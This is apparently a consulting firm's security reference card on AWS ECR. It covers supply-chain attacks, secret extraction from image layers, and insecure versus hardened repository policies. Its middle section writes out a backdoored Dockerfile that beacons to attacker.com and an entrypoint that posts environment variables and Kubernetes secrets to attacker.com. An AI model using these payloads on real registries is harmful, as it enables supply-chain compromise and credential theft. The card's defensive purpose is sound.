Elastic Container Registry stores Docker container images used by ECS, EKS, and Lambda. Attackers exploit repository policies, image pull access, and push permissions for supply chain attacks, credential theft, and persistent backdoors.
ECR stores Docker and OCI container images in private or public repositories. Each repository has its own resource policy controlling push/pull access. Images are identified by tags or SHA256 digests β mutable tags allow image replacement attacks if not protected by tag immutability.
ECR offers basic scanning (Clair-based) and enhanced scanning (Amazon Inspector) for CVE detection. Image signing via AWS Signer or Notation validates image provenance. Without signing verification, any image pushed to a repository can be deployed to production.
Lifecycle policies automatically clean up old images, but misconfigured rules can delete production images. Cross-region and cross-account replication distributes images for availability β each replica inherits the destination repository's access policy, not the source's.
ECR is a critical supply chain component. Compromised images get deployed to production via ECS/EKS. Image layers may contain hardcoded secrets. Cross-account pull permissions can expose images to attackers.
Get ECR push perms
Download target image
Inject backdoor
Replace with same tag
ECS/EKS pulls poison
Foundation layer - widespread impact
COPY/ADD commands
ENV and ARG values
Startup execution
aws ecr describe-repositoriesaws ecr list-images --repository-name my-appaws ecr batch-get-image --repository-name my-app --image-ids imageTag=latestaws ecr get-repository-policy --repository-name my-appaws ecr describe-image-scan-findings --repository-name my-app --image-id imageTag=latestaws ecr get-login-password | docker login --username AWS --password-stdin 123456789012.dkr.ecr.us-east-1.amazonaws.comdocker pull 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latestdocker push 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latestdocker history --no-trunc 123456789012.dkr.ecr.us-east-1.amazonaws.com/my-app:latestdocker save my-app:latest | tar -xvf - && grep -r 'password\\|secret\\|key' */layer.tar# Pull the target image docker pull 123456.dkr.ecr.region.amazonaws.com/app:latest # Create backdoored Dockerfile FROM 123456.dkr.ecr.region.amazonaws.com/app:latest COPY backdoor.sh /backdoor.sh ENTRYPOINT ["/backdoor.sh"] # backdoor.sh #!/bin/bash curl https://attacker.com/beacon & exec /original-entrypoint.sh "$@" # Push with same tag docker build -t 123456.dkr.ecr.region.amazonaws.com/app:latest . docker push 123456.dkr.ecr.region.amazonaws.com/app:latest
# Inject credential harvesting
FROM target-image:latest
# Add credential exfil on startup
RUN echo '#!/bin/bash' > /harvest.sh && \
echo 'env | curl -X POST -d @- https://attacker.com/creds &' >> /harvest.sh && \
echo 'cat /var/run/secrets/*/* | curl -X POST -d @- https://attacker.com/k8s &' >> /harvest.sh && \
echo 'exec "$@"' >> /harvest.sh && \
chmod +x /harvest.sh
ENTRYPOINT ["/harvest.sh"]
CMD ["/original-cmd"]Docker images contain layer history. Secrets added and later deleted are still present in intermediate layers:
# Save image to tar docker save my-app:latest -o image.tar # Extract layers mkdir layers && tar -xf image.tar -C layers # Search for secrets in all layers for layer in layers/*/layer.tar; do echo "=== $layer ===" tar -tf "$layer" | grep -E '.env|.aws|.ssh|credentials' tar -xf "$layer" -O 2>/dev/null | strings | grep -iE 'password|secret|api.?key|token' done # Or use dive for interactive analysis dive 123456.dkr.ecr.region.amazonaws.com/app:latest
Application environment files
AWS credentials baked in
SSH private keys
Database credentials, API keys
Visible in docker history
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "PublicAccess",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage"
]
}]
}Anyone can pull images - exposes application code and potentially secrets
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "AllowProdECS",
"Effect": "Allow",
"Principal": {
"Service": "ecs-tasks.amazonaws.com"
},
"Action": [
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage"
],
"Condition": {
"StringEquals": {
"aws:SourceAccount": "123456789012"
}
}
}]
}Only ECS tasks in the same account can pull images
{
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::*:root"
},
"Action": [
"ecr:PutImage",
"ecr:InitiateLayerUpload"
]
}]
}Any AWS account can push images - enables supply chain attacks
{
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:role/CodeBuildRole"
},
"Action": [
"ecr:PutImage",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload"
]
}]
}Only the designated CI/CD role can push new images
Prevent tag overwrites to protect against image replacement attacks.
aws ecr put-image-tag-mutability --repository-name my-app --image-tag-mutability IMMUTABLEScan images on push for known vulnerabilities.
aws ecr put-image-scanning-configuration --repository-name my-app --image-scanning-configuration scanOnPush=trueOnly allow CI/CD roles to push images. Deny manual pushes.
Reference images by digest (@sha256:...) instead of mutable tags.
image: 123456.dkr.ecr.region.amazonaws.com/app@sha256:abc123...Cryptographically sign images and verify signatures before deployment.
Alert on PutImage, SetRepositoryPolicy, and DeleteRepository events.
ECS
Container orchestration
EKS
Kubernetes
CodeBuild
Image builds
Lambda
Container images
AWS ECR Security Card β’ Toc Consulting
Always obtain proper authorization before testing